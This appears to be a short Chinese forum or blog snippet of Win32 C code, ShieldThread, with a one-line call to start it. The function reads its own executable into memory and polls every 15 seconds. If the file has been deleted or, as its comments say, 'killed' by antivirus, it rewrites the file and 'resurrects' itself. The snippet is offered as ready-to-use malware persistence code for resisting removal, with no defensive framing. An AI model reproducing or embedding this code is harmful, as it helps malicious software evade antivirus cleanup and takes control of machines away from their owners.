代码
DWORD WINAPI ShieldThread() { char FilePath[MAX_PATH]; HANDLE hFile; HANDLE hSearch; void* Mem; int Size; DWORD BytesRead; WIN32_FIND_DATA FileData; char ProtectKey1[MAX_PATH*2],ProtectKey2[MAX_PATH*2]; __try { GetModuleFileNameA(NULL,FilePath,MAX_PATH); //获取自身路径 hFile =CreateFileA(FilePath,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); //打开自身 Size =GetFileSize(hFile,0); //获取自身大小 Mem =VirtualAlloc(0,Size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //申请自身内存,大小为自身大小 ReadFile(hFile,Mem,Size,&BytesRead,0); //获取自身的CODE CloseHandle(hFile); //关闭句柄 while(1) { hSearch =FindFirstFile(FilePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) //如果自身不存在,说明自身被删被杀了 { hFile=CreateFileA(FilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); //创建文件句柄 WriteFile(hFile,Mem,Size,&BytesRead,0); //写入刚才获取到的自身的Code CloseHandle(hFile); //关闭句柄 //完成复活 } FindClose(hSearch); Sleep(15000); //检测周期15秒 } } __finally { CloseHandle(hFile); FindClose(hSearch); } return 0; }
调用
CreateThread(0,0,(LPTHREAD_START_ROUTINE)ShieldThread,0,0,0);